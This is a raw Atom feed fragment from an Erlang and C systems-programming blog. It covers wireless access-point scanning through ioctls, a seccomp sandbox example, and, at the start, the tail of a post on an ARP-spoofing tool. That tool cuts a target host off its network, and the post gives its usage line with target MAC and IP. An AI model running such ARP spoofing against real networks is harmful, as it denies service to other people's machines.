&lt;ul&gt;&lt;li&gt;&lt;p&gt;It continually arps for whatever IP the target advertises. Eventually,the target system will give up and go offline.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Since gratuious arps are sent aggressively, the gateway will considerour MAC address to be the MAC address for the target's IP address andwill send packets to us, effectively cutting off the target system.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To use the code, you will need to know the target's MAC and IP address.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;% our interface: en1&lt;br /&gt;% target:&lt;br /&gt;%  MAC = "00:aa:bb:cc:dd:ee"&lt;br /&gt;%  IP = "10.10.10.10"&lt;br /&gt;annoy:er("en1", "00:aa:bb:cc:dd:ee", "10.10.10.10").&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;script src="https://gist.github.com/939168.js?file=annoy.erl"&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-6449155025369592946?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/6449155025369592946/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2011/04/bpf-and-erlang.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/6449155025369592946'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/6449155025369592946'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2011/04/bpf-and-erlang.html' title='BPF and Erlang'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-5805976647344893523</id><published>2011-03-07T19:51:00.013-05:00</published><updated>2011-09-22T20:27:26.185-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='erlang'/><category scheme='http://www.blogger.com/atom/ns#' term='procket'/><title type='text'>Wireless Scanning with Erlang</title><content type='html'>&lt;h1&gt;Scanning for Wireless Access Points with Erlang&lt;/h1&gt;&lt;p&gt;The Linux wireless LAN network interface (802.11) uses a socket/ioctlinterface to communicate with the kernel. I am going to go over buildingan Erlang interface for initiating scanning and retrieving the scanresults.&lt;/p&gt;&lt;p&gt;All of this code was run on Ubuntu 10.04 using constants defined in wireless.22.hof the &lt;a href="http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html"&gt;wireless tools for Linux&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;The Scanning Process&lt;/h2&gt;&lt;p&gt;The scan process works as follows:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Open a datagram socket&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Allocate a iwreq structure. The structure contains the device nameused for scanning and a pointer to an optional user allocated buffercontaining an ESSID. According to the man page, specifying an ESSID withsome drivers allows hidden networks to be found.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Call an ioctl on the socket with the request set to SIOCSIWSCAN (0x8B18).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Allocate another iwreq structure containing a pointer to a userallocated buffer with enough space to hold the response.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Call a second ioctl on the socket with the request set to SIOCGIWSCAN (0x8B19)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;When the ioctl returns successfully, both the iwreq structure and theuser allocated buffer are updated. The iwreq structure contains the actualsize of the data held in the buffer and the buffer holds the set of events.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;ul class="Message"&gt;&lt;li class="Message"&gt;length:2 bytes&lt;/li&gt;&lt;li class="Message"&gt;command:2 bytes&lt;/li&gt;&lt;li class="Message"&gt;data:(length-4)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Examples of data types are the ESSID, BSSID, channel, etc.&lt;/p&gt;&lt;h3&gt;The iwreq Structure&lt;/h3&gt;&lt;p&gt;The iwreq structure is composed of 2 unions:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#define IFNAMSIZ 16&lt;br /&gt;&lt;br /&gt;struct  iwreq&lt;br /&gt;{&lt;br /&gt;    union&lt;br /&gt;    {&lt;br /&gt;        char    ifrn_name[IFNAMSIZ];    /* if name, e.g. "eth0" */&lt;br /&gt;    } ifr_ifrn;&lt;br /&gt;&lt;br /&gt;    /* Data part (defined just above) */&lt;br /&gt;    union   iwreq_data  u;&lt;br /&gt;};&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The iwreq_data union is constrained to 32 bytes and composed of the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;union   iwreq_data&lt;br /&gt;{&lt;br /&gt;    /* Config - generic */&lt;br /&gt;    char        name[IFNAMSIZ];&lt;br /&gt;    /* Name : used to verify the presence of  wireless extensions.&lt;br /&gt;     * Name of the protocol/provider... */&lt;br /&gt;&lt;br /&gt;    struct iw_point essid;      /* Extended network name */&lt;br /&gt;    struct iw_param nwid;       /* network id (or domain - the cell) */&lt;br /&gt;    struct iw_freq  freq;       /* frequency or channel :&lt;br /&gt;                                 * 0-1000 = channel&lt;br /&gt;                                 * &amp;gt; 1000 = frequency in Hz */&lt;br /&gt;&lt;br /&gt;    struct iw_param sens;       /* signal level threshold */&lt;br /&gt;    struct iw_param bitrate;    /* default bit rate */&lt;br /&gt;    struct iw_param txpower;    /* default transmit power */&lt;br /&gt;    struct iw_param rts;        /* RTS threshold threshold */&lt;br /&gt;    struct iw_param frag;       /* Fragmentation threshold */&lt;br /&gt;    __u32       mode;           /* Operation mode */&lt;br /&gt;    struct iw_param retry;      /* Retry limits &amp;amp; lifetime */&lt;br /&gt;&lt;br /&gt;    struct iw_point encoding;   /* Encoding stuff : tokens */&lt;br /&gt;    struct iw_param power;      /* PM duration/timeout */&lt;br /&gt;    struct iw_quality qual;     /* Quality part of statistics */&lt;br /&gt;&lt;br /&gt;    struct sockaddr ap_addr;    /* Access point address */&lt;br /&gt;    struct sockaddr addr;       /* Destination address (hw/mac) */&lt;br /&gt;&lt;br /&gt;    struct iw_param param;      /* Other small parameters */&lt;br /&gt;    struct iw_point data;       /* Other large parameters */&lt;br /&gt;};&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Some of the data may be larger than can be held in the union. The iw_point structure, for example, contains a pointer to user allocated memory that can be used to hold either arguments to be read by the kernel or data returned by the kernel.&lt;/p&gt;&lt;p&gt;The iw_point structure looks like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct  iw_point&lt;br /&gt;{&lt;br /&gt;    void __user   *pointer; /* Pointer to the data  (in user space) */&lt;br /&gt;    __u16     length;       /* number of fields or size in bytes */&lt;br /&gt;    __u16     flags;        /* Optional params */&lt;br /&gt;};&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;The SIOCSIWSCAN ioctl&lt;/h3&gt;&lt;p&gt;To initiate the scan, we call an ioctl on a socket file descriptor. Any socket type can be used. The structure we pass to ioctl contains the interface name. For example, to scan using the default ESSID:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;struct iwreq iwr = {0};&lt;br /&gt;&lt;br /&gt;(void)memcpy(iwr.ifr_ifrn.ifrn_name, "wlan0", IFNAMSIZ);&lt;br /&gt;iwr.u.data.pointer = NULL;&lt;br /&gt;iwr.u.data.length = 0;&lt;br /&gt;iwr.u.data.flags = 0;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To scan a specific ESSID without disassociating from the current AP:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#define IW_SCAN_THIS_ESSID 16#0002&lt;br /&gt;&lt;br /&gt;struct iwreq iwr = {0};&lt;br /&gt;char *essid = NULL;&lt;br /&gt;&lt;br /&gt;(void)memcpy(iwr.ifr_ifrn.ifrn_name, "wlan0", IFNAMSIZ);&lt;br /&gt;essid = strdup("linksys");&lt;br /&gt;if (essid == NULL)&lt;br /&gt;    err(EXIT_FAILURE, "strdup");&lt;br /&gt;&lt;br /&gt;iwr.u.data.pointer = essid;&lt;br /&gt;iwr.u.data.length = strlen(essid)+1;&lt;br /&gt;iwr.u.data.flags |= IW_SCAN_THIS_ESSID;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The ioctl is called using the iwreq structure and indicates an error by a non-zero return value, with the reason held in errno.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ioctl(socket, SIOCSIWSCAN, &amp;amp;iwr);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The iwreq structure is not modified upon return (or at least, we do not care if has changed).&lt;/p&gt;&lt;p&gt;Common errors are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;EAGAIN: the scan has not completed. We will need to wait and poll thesocket after a period of time has passed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;EBUSY: another scan is currently in progress. Again, we will need tosleep and poll the socket later.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;ENOTSUP: the requested device is not a wireless device&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;The SIOCGIWSCAN ioctl&lt;/h3&gt;&lt;p&gt;To retrieve the results of the last scan, we issue another ioctl with the request set to SIOCGIWSCAN. The iwreq structure must point to a buffer large enough to hold the response (the list of APs).&lt;/p&gt;&lt;pre&gt;&lt;code&gt;#define BUFSZ 4096&lt;br /&gt;&lt;br /&gt;struct iwreq iwr = {0};&lt;br /&gt;char *p = NULL;&lt;br /&gt;&lt;br /&gt;(void)memcpy(iwr.ifr_ifrn.ifrn_name, "wlan0", IFNAMSIZ);&lt;br /&gt;p = calloc(BUFSZ,1);&lt;br /&gt;if (p == NULL)&lt;br /&gt;    err(EXIT_FAILURE, "calloc");&lt;br /&gt;&lt;br /&gt;iwr.u.data.pointer = p;&lt;br /&gt;iwr.u.data.length = BUFSZ;&lt;br /&gt;iwr.u.data.flags = 0;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After the ioctl returns (it may fail for the same reasons as above):&lt;/p&gt;&lt;ul&gt;&lt;li&gt;the iwreq structure will be updated to hold the actual size of the data in our buffer&lt;/li&gt;&lt;li&gt;our buffer will hold the scan list&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;An Erlang Approach to Pointers and ioctl()'s: Resources&lt;/h2&gt;&lt;p&gt;To make system calls that aren't supported by the Erlang VM, we will need to integrate a small amount of C code using Erlang's NIF interface. The &lt;a href="https://github.com/msantos/procket" title="procket"&gt;procket&lt;/a&gt; library on GitHub was made to perform some low level operations on sockets. I've added some additional functions to deal with versions of ioctl() using input/output fields containing pointers to memory:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;procket:alloc/1&lt;br /&gt;procket:buf/1&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It's easier to explain by giving an example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Len = 16,&lt;br /&gt;{ok, Struct, [Resource1, Resource2]} = procket:alloc([&lt;br /&gt;        &amp;lt;&amp;lt;Len:2/native-unsigned-integer-unit:8&amp;gt;&amp;gt;,&lt;br /&gt;        {ptr, Len},&lt;br /&gt;        &amp;lt;&amp;lt;Flags:2/native-unsigned-integer-unit:8&amp;gt;&amp;gt;,&lt;br /&gt;        {ptr, &amp;lt;&amp;lt;"some data"&amp;gt;&amp;gt;}&lt;br /&gt;        ]).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Where:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Struct: a binary that can be passed to procket:ioctl/3&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This binary contains the actual pointer and so should be considered to be read-only. Modifying the binary could result in the VM crashing.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Resource1, Resource2: NIF resources&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The first resource points to a zero'ed 16 byte buffer.&lt;/p&gt;&lt;p&gt;The second resource points to a 9 byte buffer initialized with the string "some data".&lt;/p&gt;&lt;p&gt;procket:buf/1 is used to retrieve the contents of the buffer. Here is a complete example: retrieving the list of network interfaces (usually you would just use inet:getifaddrs/0).&lt;/p&gt;&lt;pre&gt;&lt;code&gt;-module(ifconf).&lt;br /&gt;-export([dev/0]).&lt;br /&gt;&lt;br /&gt;%% Get the list of network interfaces similar to&lt;br /&gt;%% inet:getifaddrs/0&lt;br /&gt;&lt;br /&gt;-define(SIOCGIFCONF, 16#00008912).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;% struct ifconf&lt;br /&gt;% {   &lt;br /&gt;%     int ifc_len;            /* size of buffer   */&lt;br /&gt;%     union&lt;br /&gt;%     {   &lt;br /&gt;%         char *ifcu_buf;&lt;br /&gt;%         struct ifreq *ifcu_req;&lt;br /&gt;%     } ifc_ifcu;&lt;br /&gt;% };&lt;br /&gt;&lt;br /&gt;dev() -&amp;gt;&lt;br /&gt;    Len = 8192,&lt;br /&gt;    {ok, Ifconf, [Res]} = procket:alloc([&lt;br /&gt;        &amp;lt;&amp;lt;Len:4/native-integer-unit:8&amp;gt;&amp;gt;,&lt;br /&gt;        {ptr, Len}&lt;br /&gt;        ]),&lt;br /&gt;&lt;br /&gt;    {ok, Socket} = procket:socket(inet, dgram, 0),&lt;br /&gt;    {ok, Ifconf1} = procket:ioctl(Socket, ?SIOCGIFCONF, Ifconf),&lt;br /&gt;    {ok, Buf} = procket:buf(Res),&lt;br /&gt;&lt;br /&gt;    &amp;lt;&amp;lt;N:4/native-integer-unit:8, _/binary&amp;gt;&amp;gt; = Ifconf1,&lt;br /&gt;    Ifs = ifreq(Buf, N),&lt;br /&gt;&lt;br /&gt;    procket:close(Socket),&lt;br /&gt;    {ok, Ifconf, Ifconf1, Buf, Ifs}.&lt;br /&gt;&lt;br /&gt;% struct ifreq&lt;br /&gt;% {&lt;br /&gt;%     #define IFHWADDRLEN 6&lt;br /&gt;%     union&lt;br /&gt;%     {  &lt;br /&gt;%         char    ifrn_name[IFNAMSIZ];        /* if name, e.g. "en0" */&lt;br /&gt;%     } ifr_ifrn;&lt;br /&gt;% &lt;br /&gt;%     union {&lt;br /&gt;%         struct  sockaddr ifru_addr;&lt;br /&gt;%         struct  sockaddr ifru_dstaddr;&lt;br /&gt;%         struct  sockaddr ifru_broadaddr;&lt;br /&gt;%         struct  sockaddr ifru_netmask;&lt;br /&gt;%         struct  sockaddr ifru_hwaddr;&lt;br /&gt;%         short   ifru_flags;&lt;br /&gt;%         int ifru_ivalue;&lt;br /&gt;%         int ifru_mtu;&lt;br /&gt;%         struct  ifmap ifru_map;&lt;br /&gt;%         char    ifru_slave[IFNAMSIZ];   /* Just fits the size */&lt;br /&gt;%         char    ifru_newname[IFNAMSIZ];&lt;br /&gt;%         void *  ifru_data;&lt;br /&gt;%         struct  if_settings ifru_settings;&lt;br /&gt;%     } ifr_ifru;&lt;br /&gt;% };&lt;br /&gt;&lt;br /&gt;% struct sockaddr_in&lt;br /&gt;% {&lt;br /&gt;%     __SOCKADDR_COMMON (sin_);&lt;br /&gt;%     in_port_t sin_port;         /* Port number.  */&lt;br /&gt;%     struct in_addr sin_addr;        /* Internet address.  */&lt;br /&gt;% &lt;br /&gt;%     /* Pad to size of `struct sockaddr'.  */&lt;br /&gt;%     unsigned char sin_zero[sizeof (struct sockaddr) -&lt;br /&gt;%         __SOCKADDR_COMMON_SIZE -&lt;br /&gt;%         sizeof (in_port_t) - sizeof (struct in_addr)];&lt;br /&gt;% };&lt;br /&gt;&lt;br /&gt;ifreq(Buf, N) -&amp;gt;&lt;br /&gt;    &amp;lt;&amp;lt;Buf1:N/bytes, _/binary&amp;gt;&amp;gt; = Buf,&lt;br /&gt;    ifreq1(Buf1, []).&lt;br /&gt;&lt;br /&gt;ifreq1(&amp;lt;&amp;lt;&amp;gt;&amp;gt;, Ifs) -&amp;gt;&lt;br /&gt;    Ifs;&lt;br /&gt;ifreq1(&amp;lt;&amp;lt;&lt;br /&gt;    Name:16/bytes,&lt;br /&gt;    _Family:16,&lt;br /&gt;    _Port:16,&lt;br /&gt;    IP1:8, IP2:8, IP3:8, IP4:8,&lt;br /&gt;    _:64,&lt;br /&gt;    Rest/binary&lt;br /&gt;    &amp;gt;&amp;gt;, Ifs) -&amp;gt;&lt;br /&gt;    [Dev, _] = binary:split(Name, &amp;lt;&amp;lt;0&amp;gt;&amp;gt;),&lt;br /&gt;    ifreq1(Rest, [{Dev, {IP1,IP2,IP3,IP4}}|Ifs]).&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Running a Scan Using Erlang&lt;/h2&gt;&lt;p&gt;So finally combining all of the above, we can begin putting the code together to do an AP scan from Erlang. For brevity, I've removed some of the error handling, etc, the &lt;a href="https://github.com/msantos/wierl"&gt;code is available on GitHub&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Privileges&lt;/h3&gt;&lt;p&gt;To use this code, beam will either have to be running as root or (preferably) have the CAP_NET_ADMIN privilege. To set it:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;setcap cap_net_admin=ep /path/to/beam&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To check the privs have been set:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;getcap /path/to/beam&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To remove the privs after you're done playing:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;setcap -r /path/to/beam&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;The code&lt;/h3&gt;&lt;script src="https://gist.github.com/859390.js?file=wierl.erl"&gt;&lt;/script&gt;  &lt;h3&gt;Running it&lt;/h3&gt;&lt;pre&gt;&lt;code&gt;erl -pa /path/to/procket/ebin&lt;br /&gt;&lt;br /&gt;1&amp;gt; wierl:start(&amp;lt;&amp;lt;"wlan0"&amp;gt;&amp;gt;).&lt;br /&gt;bssid:&amp;lt;&amp;lt;1,0,0,30,74,31,75,76,0,0,0,0,0,0,0,0&amp;gt;&amp;gt;&lt;br /&gt;freq:&amp;lt;&amp;lt;1,0,0,0,0,0,0,0&amp;gt;&amp;gt;&lt;br /&gt;freq:&amp;lt;&amp;lt;108,9,0,0,6,0,0,0&amp;gt;&amp;gt;&lt;br /&gt;qual:&amp;lt;&amp;lt;40,186,0,75&amp;gt;&amp;gt;&lt;br /&gt;encode:&amp;lt;&amp;lt;0,0,0,128&amp;gt;&amp;gt;&lt;br /&gt;essid:&amp;lt;&amp;lt;14,0,1,0,116,104,101,101,115,115,105,100,105,115,97,108, 105,101&amp;gt;&amp;gt;&lt;br /&gt;rate:&amp;lt;&amp;lt;64,66,15,0,0,0,0,0,128,132,30,0,0,0,0,0,96,236,83,0,0,0,0,0,128,141,91,&lt;br /&gt;       0,0,0,0,0,64,84,137,0,0,0,0,0,192,216,167,0,0,0,0,0,0,27,183,0,0,0,0,0,&lt;br /&gt;       128,168,18,1,0,0,0,0&amp;gt;&amp;gt;&lt;br /&gt;rate:&amp;lt;&amp;lt;0,54,110,1,0,0,0,0,0,81,37,2,0,0,0,0,0,108,220,2,0,0,0,0,128,249,55,3,0,&lt;br /&gt;       0,0,0&amp;gt;&amp;gt;&lt;br /&gt;mode:&amp;lt;&amp;lt;3,0,0,0&amp;gt;&amp;gt;&lt;br /&gt;custom:&amp;lt;&amp;lt;20,0,0,0,116,115,102,61,48,48,48,48,48,48,50,57,50,48,99,98,101,49,&lt;br /&gt;         102,56&amp;gt;&amp;gt;&lt;br /&gt;custom:&amp;lt;&amp;lt;23,0,0,0,32,76,97,115,116,32,98,101,97,99,111,110,58,32,53,54,52,109,&lt;br /&gt;         115,32,97,103,111&amp;gt;&amp;gt;&lt;br /&gt;genie:&amp;lt;&amp;lt;88,0,0,0,0,19,87,105,114,101,108,101,115,115,77,105,115,115,105,115,&lt;br /&gt;        115,97,117,103,97,1,8,130,132,139,12,18,150,24,36,3,1,1,7,6,67,65,32,1,&lt;br /&gt;        11,30,42,1,2,50,4,48,72,96,108,150,6,0,64,150,0,20,0,221,6,0,64,150,1,&lt;br /&gt;        1,4,221,5,0,64,150,3,5,221,5,0,64,150,11,9,221,5,0,64,150,20,0&amp;gt;&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Decoding the Binaries&lt;/h3&gt;&lt;p&gt;Decoding the scan results is simple. For example, for those of you stalking me, from the example above:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;the bssid looks like: &lt;code&gt;&amp;lt;&amp;lt;1,0, Bytes:6/bytes, 0,0,0,0,0,0,0,0&amp;gt;&amp;gt;&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Each of the 6 bytes can be printed as hex. In the example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1&amp;gt; &amp;lt;&amp;lt;1,0, BSSID:6/bytes, 0,0,0,0,0,0,0,0&amp;gt;&amp;gt; = &amp;lt;&amp;lt;1,0,0,30,74,31,75,76,0,0,0,0,0,0,0,0&amp;gt;&amp;gt;.&lt;br /&gt;&amp;lt;&amp;lt;1,0,0,30,74,31,75,76,0,0,0,0,0,0,0,0&amp;gt;&amp;gt;&lt;br /&gt;2&amp;gt; lists:flatten(string:join([ io_lib:format("~.16b", [N]) || &amp;lt;&amp;lt;N:8&amp;gt;&amp;gt; &amp;lt;= BSSID ], ":")).&lt;br /&gt;"0:1e:4a:1f:4b:4c"&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strike&gt;What's the preceding &lt;code&gt;&amp;lt;&amp;lt;1,0&amp;gt;&amp;gt;&lt;/code&gt;? No idea as yet :)&lt;/strike&gt;The BSSID is a struct sockaddr:&lt;pre&gt;&lt;code&gt;&lt;br /&gt;struct sockaddr {&lt;br /&gt;    sa_family_t family; /* uint16_t */&lt;br /&gt;    char sa_data[14];&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;The family is set to ARPHRD_ETHER or 1 in native endian format (little in the example above). The BSSID, like a MAC address, is 6 bytes. The remaining 8 bytes are zeroes.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;the frequency is either a native, unsigned 64-bit integer holdingeither the channel (usually a number from 1-11) or the frequency&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In the example above, a channel is indicated by a number less than 1000:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1&amp;gt; &amp;lt;&amp;lt;Channel:8/native-unsigned-integer-unit:8&amp;gt;&amp;gt; = &amp;lt;&amp;lt;1,0,0,0,0,0,0,0&amp;gt;&amp;gt;.&lt;br /&gt;1.&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And the frequency, if it's available, can be calculated like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1&amp;gt; &amp;lt;&amp;lt;Mantissa:4/native-signed-integer-unit:8, Exponent:2/native-signed-integer-unit:8, _I:8, _Flags:8&amp;gt;&amp;gt; = &amp;lt;&amp;lt;108,9,0,0,6,0,0,0&amp;gt;&amp;gt;.&lt;br /&gt;&amp;lt;&amp;lt;108,9,0,0,6,0,0,0&amp;gt;&amp;gt;&lt;br /&gt;2&amp;gt; Mantissa*math:pow(10, Exponent).&lt;br /&gt;2.412e9&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;the ESSID is prefaced by the length, 2 bytes set to 1 and the ESSID:&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;From the example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1&amp;gt; &amp;lt;&amp;lt;Len:2/native-unsigned-integer-unit:8, 1:2/native-unsigned-integer-unit:8, ESSID/binary&amp;gt;&amp;gt; = &amp;lt;&amp;lt;14,0,1,0,116,104,101,101,115,115,105,100,105,115,97,108, 105,101&amp;gt;&amp;gt;.&lt;br /&gt;&amp;lt;&amp;lt;14,0,1,0,116,104,101,101,115,115,105,100,105,115,97,108, 105,101&amp;gt;&amp;gt;&lt;br /&gt;2&amp;gt; Len.&lt;br /&gt;14&lt;br /&gt;16&amp;gt; ESSID.&lt;br /&gt;&amp;lt;&amp;lt;"theessidisalie"&amp;gt;&amp;gt;&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;the quality: each byte represents a statistic&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;From the example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;17&amp;gt; &amp;lt;&amp;lt;Qual:8, Level:8/signed, Noise:8, Updated:8&amp;gt;&amp;gt; = &amp;lt;&amp;lt;40,186,0,75&amp;gt;&amp;gt;. &lt;br /&gt;&amp;lt;&amp;lt;40,186,0,75&amp;gt;&amp;gt;&lt;br /&gt;18&amp;gt; {Qual, Level, Noise, Updated}.&lt;br /&gt;{40,-70,0,75}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So the signal quality of this AP is ok (40/70).&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8577871288924093307-5805976647344893523?l=blog.listincomprehension.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.listincomprehension.com/feeds/5805976647344893523/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.listincomprehension.com/2011/03/wireless-scanning-with-erlang.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5805976647344893523'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8577871288924093307/posts/default/5805976647344893523'/><link rel='alternate' type='text/html' href='http://blog.listincomprehension.com/2011/03/wireless-scanning-with-erlang.html' title='Wireless Scanning with Erlang'/><author><name>Michael Santos</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8577871288924093307.post-907443550429636807</id><published>2011-02-07T17:06:00.002-05:00</published><updated>2011-02-13T11:56:59.045-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><title type='text'>Quick prctl(PR_SETSECCOMP) Example</title><content type='html'>Using &lt;a href="http://www.kernel.org/doc/man-pages/online/pages/man2/prctl.2.html"&gt;prctl(PR_SETSECCOMP)&lt;/a&gt; allows a process -- running without any special permissions -- to restrict itself to only 4 system calls: read(2), write(2), _exit(2), and sigreturn(2). Anything else results in the process getting slapped with a SIGKILL. Useful, maybe, for sandboxing.&lt;br /&gt;&lt;br /&gt;Trying it out by looking at the man page:&lt;br /&gt;&lt;pre&gt;prctl(PR_SET_SECCOMP, 0x1, 0, 0, 0) = 0&lt;br /&gt;+++ killed by SIGKILL +++&lt;br /&gt;Killed&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;prctl returns 0 (success) but then is killed when it calls _exit(2).&lt;br /&gt;&lt;br /&gt;Thanks to this &lt;a href="http://lists.debian.org/debian-kernel/2010/10/msg00262.html"&gt;ticket&lt;/a&gt; for an explanation and working code.&lt;br /&gt;&lt;br /&gt;&lt;pre class="Code"&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/prctl.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;sys/syscall.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="PreProc"&gt;#include &lt;/span&gt;&lt;span class="Constant"&gt;&amp;lt;asm/unistd.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;    &lt;span class="Type"&gt;int&lt;/span&gt;&lt;br /&gt;main(&lt;span class="Type"&gt;int&lt;/span&gt; argc, &lt;span class="Type"&gt;char&lt;/span&gt; *argv[])&lt;br /&gt;{&lt;br /&gt;    &lt;span class="Statement"&gt;if&lt;/span&gt; (prctl(PR_SET_SECCOMP, &lt;span class="Constant"&gt;1&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;, &lt;span class="Constant"&gt;0&lt;/span&gt;) != &lt;span class="Constant"&gt;0&lt;/span&gt;)&lt;br /&gt;        (&lt;span class="Type"&gt;void&lt;/span&gt;)write(STDERR_FILENO, &lt;span class="Constant"&gt;&amp;quot;prctl failed&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, &lt;span class="Constant"&gt;13&lt;/span&gt;);&lt;br /&gt;    &lt;span class="Statement"&gt;else&lt;/span&gt;&lt;br /&gt;        (&lt;span class="Type"&gt;void&lt;/span&gt;)write(STDOUT_FILENO, &lt;span class="Constant"&gt;&amp;quot;prctl ok&lt;/span&gt;&lt;span class="Special"&gt;\n&lt;/span&gt;&lt;span class="Constant"&gt;&amp;quot;&lt;/span&gt;, &lt;span 